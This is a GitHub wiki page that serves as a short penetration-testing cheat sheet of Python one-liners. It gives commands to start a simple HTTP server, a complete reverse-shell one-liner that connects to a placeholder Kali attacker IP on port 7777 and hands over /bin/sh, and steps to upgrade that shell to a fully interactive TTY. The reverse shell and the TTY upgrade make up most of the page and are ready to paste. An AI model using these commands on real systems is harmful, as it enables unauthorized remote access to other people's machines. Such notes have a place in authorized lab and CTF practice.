-
Notifications
You must be signed in to change notification settings - Fork 14
Python
Alvin Smith edited this page Sep 8, 2020
·
18 revisions
python -m SimpleHTTPServer 80
80 is the default port
python3 -m http.server
the default is 8000
- Another netcat listener for the below
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<Kali IP>",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
However this shell still won’t do what we want it to, so we need to get full tty for an interactive shell.
python -c 'import pty; pty.spawn("/bin/bash")'
-
Optional if phase 2 not make the job done. Press CTRL+Z to put the shell in the background. Next, type this command in the same window:
stty raw -echo;fg
. This will bring your shell back to the foreground with a full interactive experience.